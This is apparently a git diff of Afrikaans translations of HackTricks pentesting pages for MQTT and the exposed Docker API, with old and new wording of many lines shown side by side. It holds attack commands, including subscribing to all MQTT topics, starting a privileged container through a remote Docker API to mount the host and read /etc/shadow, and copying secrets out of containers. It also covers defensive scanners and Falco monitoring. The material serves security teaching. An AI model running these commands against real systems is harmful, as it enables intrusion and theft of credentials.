* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -14,9 +14,23 @@ Ander maniere om HackTricks te ondersteun:
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
**MQ Telemetry Transport (MQTT)** staan bekend as 'n **uitgee/teken boodskapprokotol** wat uitblink deur sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en oor netwerke werk wat gekenmerk word deur lae bandwydte, hoë latentie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in die minimalisering van die gebruik van netwerkbandwydte en die vermindering van die eis op toestelbronne. Daarbenewens streef dit daarna om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringsversekering te bied. Hierdie doelwitte maak MQTT uiters geskik vir die groeiende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te koppel. Verder is MQTT baie voordelig vir mobiele toepassings, waar dit belangrik is om bandwydte en batterylewe te bewaar.
**MQ Telemetry Transport (MQTT)** staan bekend as 'n **publiseer/tekenboodskap-protokol** wat uitblink deur sy uiterste eenvoudigheid en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en oor netwerke werk wat gekenmerk word deur lae bandwydte, hoë latentie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in die minimalisering van die gebruik van netwerkbandwydte en die vermindering van die eis op toestelhulpbronne. Daarbenewens mik dit daarop om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringsversekering te bied. Hierdie doelwitte maak MQTT uiters geskik vir die groeiende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te koppel. Verder is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe noodsaaklik is.
**Verstekpoort:** 1883
```
@ -25,9 +39,9 @@ PORT STATE SERVICE REASON
```
## Inspeksie van die verkeer
Wanneer 'n **CONNECT** pakkie deur MQTT makelaars ontvang word, word 'n **CONNACK** pakkie teruggestuur. Hierdie pakkie bevat 'n terugvoerkode wat noodsaaklik is vir die begrip van die verbindingsstatus. 'n Terugvoerkode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant dui 'n terugvoerkode van **0x05** daarop dat die geloofsbriewe ongeldig is, wat dus die verbinding voorkom.
Wanneer 'n **CONNECT** pakkie deur MQTT makelaars ontvang word, word 'n **CONNACK** pakkie terug gestuur. Hierdie pakkie bevat 'n terugvoerkode wat noodsaaklik is vir die verstaan van die verbindingsstatus. 'n Terugvoerkode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant, 'n terugvoerkode van **0x05** dui daarop dat die geloofsbriewe ongeldig is, wat dus die verbinding voorkom.
Byvoorbeeld, as die makelaar die verbinding verwerp weens ongeldige geloofsbriewe, sal die scenario soos volg lyk:
Byvoorbeeld, as die makelaar die verbinding verwerp as gevolg van ongeldige geloofsbriewe, sal die scenario iets soos volg lyk:
```
{
"returnCode": "0x05",
@ -42,7 +56,7 @@ Byvoorbeeld, as die makelaar die verbinding verwerp weens ongeldige geloofsbriew
**Verifikasie is heeltemal opsioneel** en selfs as verifikasie uitgevoer word, **word versleuteling nie standaard gebruik** nie (geloofsbriewe word in teksvorm gestuur). MITM-aanvalle kan steeds uitgevoer word om wagwoorde te steel.
Om met 'n MQTT-diens te verbind, kan jy gebruik maak van: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) en jouself inteken op alle onderwerpe deur:
Om met 'n MQTT-diens te verbind, kan jy gebruik maak van: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) en jouself inskryf vir alle onderwerpe deur:
```
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
@ -124,14 +138,26 @@ Elke MQTT-pakket bevat 'n vaste kop (Figuur 02).Figuur 02: Vaste Kop
- `port:1883 MQTT`
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekmasjien wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteelmalware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
- As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
- Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
- As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
- Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
- Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
- **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,19 +14,33 @@ Ander maniere om HackTricks te ondersteun:
</details>
### Docker Basics
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
### Docker Basiese beginsels
#### Wat is
Docker is die **voorste platform** in die **kontaineriseringsbedryf**, wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeitelose skepping en verspreiding van toepassings, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige implementering** oor diverse omgewings.
Docker is die **voorste platform** in die **kontaineriseringsbedryf**, wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeitelose skepping en verspreiding van aansoeke, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige implementering** oor diverse omgewings.
#### Basiese docker-argitektuur
* [**containerd**](http://containerd.io): Dit is 'n **kern-hardloopomgewing** vir kontainers, belas met die omvattende **bestuur van 'n kontainer se lewensiklus**. Dit behels die hanteer van **beeldoorplasing en -stoor**, sowel as die toesig oor die **uitvoering, monitering, en netwerking** van kontainers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**.
* [**containerd**](http://containerd.io): Dit is 'n **kern-hardloopomgewing** vir kontainers, belas met die omvattende **bestuur van 'n kontainer se lewensiklus**. Dit behels die hanteer van **beeldoorplasing en -berg**, sowel as die toesig oor die **uitvoering, monitering, en netwerke** van kontainers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**.
* Die **kontainer-skim** speel 'n kritieke rol as 'n **tussenganger** in die hantering van **koplose kontainers**, wat naadloos oorneem van **runc** nadat die kontainers geïnisialiseer is.
* [**runc**](http://runc.io): Geag vir sy **ligte en universele kontainer-hardloopvermoëns**, is runc belyn met die **OCI-standaard**. Dit word deur containerd gebruik om kontainers **te begin en te bestuur** volgens die **OCI-riglyne**, wat ontwikkel het uit die oorspronklike **libcontainer**.
* [**runc**](http://runc.io): Geag vir sy **ligte en universele kontainer-hardloopvermoëns**, is runc belyn met die **OCI-standaard**. Dit word deur containerd gebruik om kontainers te **begin en bestuur** volgens die **OCI-riglyne**, wat ontwikkel het uit die oorspronklike **libcontainer**.
* [**grpc**](http://www.grpc.io) is noodsaaklik vir die **fasilitering van kommunikasie** tussen containerd en die **docker-enjin**, wat **doeltreffende interaksie** verseker.
* Die [**OCI**](https://www.opencontainers.org) is deurslaggewend om die **OCI-spesifikasies** vir hardloopomgewing en beelde te handhaaf, met die nuutste Docker-weergawes wat **voldoen aan beide die OCI-beeld en hardloopomgewing** standaarde.
* Die [**OCI**](https://www.opencontainers.org) is deurslaggewend om die **OCI-spesifikasies** vir hardloop- en beelde te handhaaf, met die nuutste Docker-weergawes wat **voldoen aan beide die OCI-beeld en hardloop**-standaarde.
#### Basiese bevele
```bash
@ -53,11 +67,11 @@ docker system prune -a
```
#### Containerd
**Containerd** is spesifiek ontwikkel om te voldoen aan die behoeftes van houerplatforms soos **Docker en Kubernetes**, onder andere. Dit streef daarna om die uitvoering van houers te **vereenvoudig** oor verskeie bedryfstelsels, insluitend Linux, Windows, Solaris, en meer, deur bedryfstelsel-spesifieke funksionaliteit en stelseloproepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike kenmerke wat deur sy gebruikers vereis word, in te sluit, en poog om onnodige komponente uit te sluit. Die bereiking van hierdie doel word egter erken as 'n uitdaging.
**Containerd** is spesifiek ontwikkel om te voldoen aan die behoeftes van houerplatforms soos **Docker en Kubernetes**, onder andere. Dit streef daarna om die uitvoering van houers oor verskeie bedryfstelsels, insluitend Linux, Windows, Solaris, en meer, te **vereenvoudig** deur bedryfstelsel-spesifieke funksionaliteit en stelseloproepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike funksies wat deur sy gebruikers vereis word, in te sluit, en poog om onnodige komponente uit te sluit. Die bereiking van hierdie doel word egter erken as 'n uitdaging.
'n Sleutelontwerpbepaling is dat **Containerd nie netwerkhantering hanteer nie**. Netwerkhantering word beskou as 'n kritieke element in verspreide stelsels, met kompleksiteite soos sagteware-gedefinieerde netwerke (SDN) en diensontdekking wat aansienlik van die een platform tot die ander verskil. Daarom laat Containerd die netwerkaspekte oor aan die platforms wat dit ondersteun.
'n Sleutel ontwerpbepaling is dat **Containerd nie netwerkhantering hanteer nie**. Netwerkhantering word beskou as 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van die een platform tot die ander verskil. Daarom laat Containerd die netwerkaspekte oor aan die platforms wat dit ondersteun.
Terwyl **Docker Containerd benut** om houers uit te voer, is dit belangrik om te let dat Containerd slegs 'n subset van Docker se funksionaliteite ondersteun. Spesifiek ontbreek Containerd die netwerkbestuursmoontlikhede wat teenwoordig is in Docker en ondersteun nie die direkte skepping van Docker-swerm nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksionaliteite aan die platforms wat dit integreer met, oorlaat.
Terwyl **Docker Containerd gebruik** om houers uit te voer, is dit belangrik om te let dat Containerd slegs 'n subset van Docker se funksionaliteite ondersteun. Spesifiek ontbreek Containerd die netwerkbestuursmoontlikhede wat teenwoordig is in Docker en ondersteun dit nie die direkte skepping van Docker-swerm nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksionaliteite aan die platforms wat dit integreer met, oorlaat.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,15 +89,15 @@ ctr container delete <containerName>
```
#### Podman
**Podman** is 'n oopbronkontainer-enjin wat voldoen aan die [Open Container Initiative (OCI) standaarde](https://github.com/opencontainers), ontwikkel en onderhou deur Red Hat. Dit steek uit bo Docker met verskeie kenmerkende eienskappe, veral sy **daemonlose argitektuur** en ondersteuning vir **rootless containers**, wat gebruikers in staat stel om houers sonder root-voorregte te hardloop.
**Podman** is 'n oopbronkontainer-enjin wat voldoen aan die [Open Container Initiative (OCI) standaarde](https://github.com/opencontainers), ontwikkel en onderhou deur Red Hat. Dit steek uit bo Docker met verskeie kenmerkende eienskappe, veral sy **daemonlose argitektuur** en ondersteuning vir **rootless containers**, wat gebruikers in staat stel om houers sonder wortelpriviliges uit te voer.
Podman is ontwerp om verenigbaar te wees met Docker se API, wat die gebruik van Docker CLI-opdragte moontlik maak. Hierdie verenigbaarheid strek tot sy ekosisteem, wat gereedskap soos **Buildah** vir die bou van kontainerbeelde en **Skopeo** vir beeldoperasies soos druk, trek en inspekteer, insluit. Meer besonderhede oor hierdie gereedskap kan gevind word op hul [GitHub-bladsy](https://github.com/containers/buildah/tree/master/docs/containertools).
Podman is ontwerp om verenigbaar te wees met Docker se API, wat die gebruik van Docker CLI-opdragte moontlik maak. Hierdie verenigbaarheid strek tot sy ekosisteem, wat gereedskap soos **Buildah** vir die bou van kontainerbeelde en **Skopeo** vir beeldoperasies soos druk, trek en inspekteer, insluit. Meer inligting oor hierdie gereedskap kan gevind word op hul [GitHub-bladsy](https://github.com/containers/buildah/tree/master/docs/containertools).
**Belangrike Verskille**
* **Argitektuur**: Anders as Docker se kliënt-bedienermodel met 'n agtergronddaemon, werk Podman sonder 'n daemon. Hierdie ontwerp beteken dat houers met die voorregte van die gebruiker wat hulle begin, hardloop, wat die sekuriteit verbeter deur die behoefte aan root-toegang te elimineer.
* **Argitektuur**: Anders as Docker se kliënt-bedienermodel met 'n agtergronddaemon, werk Podman sonder 'n daemon. Hierdie ontwerp beteken dat houers met die voorregte van die gebruiker wat hulle begin, loop, wat die sekuriteit verbeter deur die behoefte aan worteltoegang uit te skakel.
* **Systemd-integrasie**: Podman integreer met **systemd** om houers te bestuur, wat houerbestuur deur systemd-eenhede moontlik maak. Dit verskil van Docker se gebruik van systemd hoofsaaklik vir die bestuur van die Docker-daemonproses.
* **Rootless Containers**: 'n Kernkenmerk van Podman is sy vermoë om houers onder die inisieerende gebruiker se voorregte te laat hardloop. Hierdie benadering verminder die risiko's wat gepaard gaan met houer-oortredings deur te verseker dat aanvallers slegs die bevoorregte gebruiker se voorregte verkry, nie root-toegang nie.
* **Rootless Containers**: 'n Kernfunksie van Podman is sy vermoë om houers onder die voorregte van die inisieerende gebruiker uit te voer. Hierdie benadering verminder die risiko's wat gepaard gaan met houer-oortredings deur te verseker dat aanvallers slegs die voorregte van die gekompromitteerde gebruiker verkry, nie worteltoegang nie.
Podman se benadering bied 'n veilige en buigsame alternatief vir Docker, wat klem lê op gebruikersvoorregbestuur en verenigbaarheid met bestaande Docker-werkvloeie.
@ -146,7 +160,7 @@ docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Indien jy die **afgeleë docker API met die `docker` bevel** kan **kontak**, kan jy enige van die **docker** [**bevele wat voorheen** gekommentaar is](2375-pentesting-docker.md#basic-commands) **uitvoer** om met die diens te skakel.
Indien jy die **afgeleë docker API met die `docker` bevel** kan **kontak**, kan jy enige van die **docker** [**bevele wat voorheen** bespreek is](2375-pentesting-docker.md#basic-commands) **uitvoer** om met die diens te skakel.
{% hint style="info" %}
Jy kan `export DOCKER_HOST="tcp://localhost:2375"` en **vermy** om die `-H` parameter met die docker bevel te gebruik
@ -203,16 +217,16 @@ Op die volgende bladsy kan jy maniere vind om **uit 'n Docker-houer te ontsnap**
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
Deur hiervan misbruik te maak, is dit moontlik om uit 'n houer te ontsnap, jy kan 'n swak houer op die afgeleë masjien hardloop, daaruit ontsnap, en die masjien kompromitteer:
Deur hiervan misbruik te maak, is dit moontlik om uit 'n houer te ontsnap. Jy kan 'n swak houer op die afgeleë masjien hardloop, daaruit ontsnap, en die masjien kompromitteer:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### Bevoorregte Eskalasie
### Voorregverhoging
Indien jy binne 'n gasheer is wat Docker gebruik, kan jy [**hierdie inligting lees om te probeer om voorregte te verhoog**](../linux-hardening/privilege-escalation/#writable-docker-socket).
As jy binne 'n gasheer is wat Docker gebruik, kan jy [**hierdie inligting lees om te probeer om voorregte te verhoog**](../linux-hardening/privilege-escalation/#writable-docker-socket).
### Ontdekking van geheime inligting in lopende Docker-houers
```bash
@ -231,51 +245,51 @@ As jy 'n lêer wil onttrek:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Die beveiliging van jou Docker
### Beveiliging van jou Docker
#### Die beveiliging van Docker installasie en gebruik
#### Beveiliging van Docker installasie en gebruik
* Jy kan die instrument [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) gebruik om jou huidige docker installasie te ondersoek.
* Jy kan die gereedskap [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) gebruik om jou huidige docker installasie te ondersoek.
* `./docker-bench-security.sh`
* Jy kan die instrument [https://github.com/kost/dockscan](https://github.com/kost/dockscan) gebruik om jou huidige docker installasie te ondersoek.
* Jy kan die gereedskap [https://github.com/kost/dockscan](https://github.com/kost/dockscan) gebruik om jou huidige docker installasie te ondersoek.
* `dockscan -v unix:///var/run/docker.sock`
* Jy kan die instrument [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte te sien wat 'n houer sal hê wanneer dit met verskillende sekuriteitsopsies uitgevoer word. Dit is nuttig om die implikasies van die gebruik van sekuriteitsopsies vir die uitvoer van 'n houer te ken:
* Jy kan die gereedskap [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte te sien wat 'n houer sal hê wanneer dit uitgevoer word met verskillende sekuriteitsopsies. Dit is nuttig om die implikasies te ken van die gebruik van sekuriteitsopsies om 'n houer uit te voer:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Die beveiliging van Docker Beelde
#### Beveiliging van Docker Beelde
* Jy kan 'n docker beeld van [https://github.com/quay/clair](https://github.com/quay/clair) gebruik om jou ander docker beelde te skandeer en kwesbaarhede te vind.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Die beveiliging van Docker lêers
#### Beveiliging van Docker lêers
* Jy kan die instrument [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind. Elke verkeerde konfigurasie sal 'n ID kry, jy kan hier vind [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) hoe om elkeen van hulle reg te stel.
* Jy kan die gereedskap [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind. Elke verkeerde konfigurasie sal 'n ID kry, jy kan hier vind [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) hoe om elkeen van hulle reg te stel.
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (173).png>)
* Jy kan die instrument [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind.
* Jy kan die gereedskap [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind.
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (209).png>)
* Jy kan die instrument [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind.
* Jy kan die gereedskap [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind.
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (68).png>)
* Jy kan die instrument [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind.
* Jy kan die gereedskap [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) gebruik om **jou Docker lêer te ondersoek** en allerhande verkeerde konfigurasies te vind.
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (498).png>)
#### Log van Verdagte aktiwiteit
#### Log Verdagte aktiwiteit
* Jy kan die instrument [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) gebruik om **verdagte gedrag in lopende houers** op te spoor.
* Merk op in die volgende stuk hoe **Falco 'n kernel module saamstel en dit invoeg**. Daarna laai dit die reëls en **begin om verdagte aktiwiteite te log**. In hierdie geval het dit 2 bevoorregte houers wat begin is, waarvan een 'n sensitiewe berging het, opgespoor, en na 'n paar sekondes het dit opgespoor hoe 'n skul in een van die houers oopgemaak is.
* Jy kan die gereedskap [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) gebruik om **verdagte gedrag in lopende houers** op te spoor.
* Merk op in die volgende blok hoe **Falco 'n kernel module saamstel en dit invoeg**. Daarna laai dit die reëls en **begin dit verdagte aktiwiteite te log**. In hierdie geval het dit 2 bevoorregte houers opgespoor wat begin is, waarvan een 'n sensitiewe berging het, en na 'n paar sekondes het dit opgespoor hoe 'n skul in een van die houers oopgemaak is.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
@ -316,7 +330,7 @@ falco-probe found and loaded in dkms
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Monitor Docker
#### Monitering Docker
Jy kan auditd gebruik om Docker te monitor.
@ -325,16 +339,30 @@ Jy kan auditd gebruik om Docker te monitor.
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksionaliteite bied om te kontroleer of 'n maatskappy of sy kliënte deur **stealer malware** is **gekompromiteer**.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,23 +2,37 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
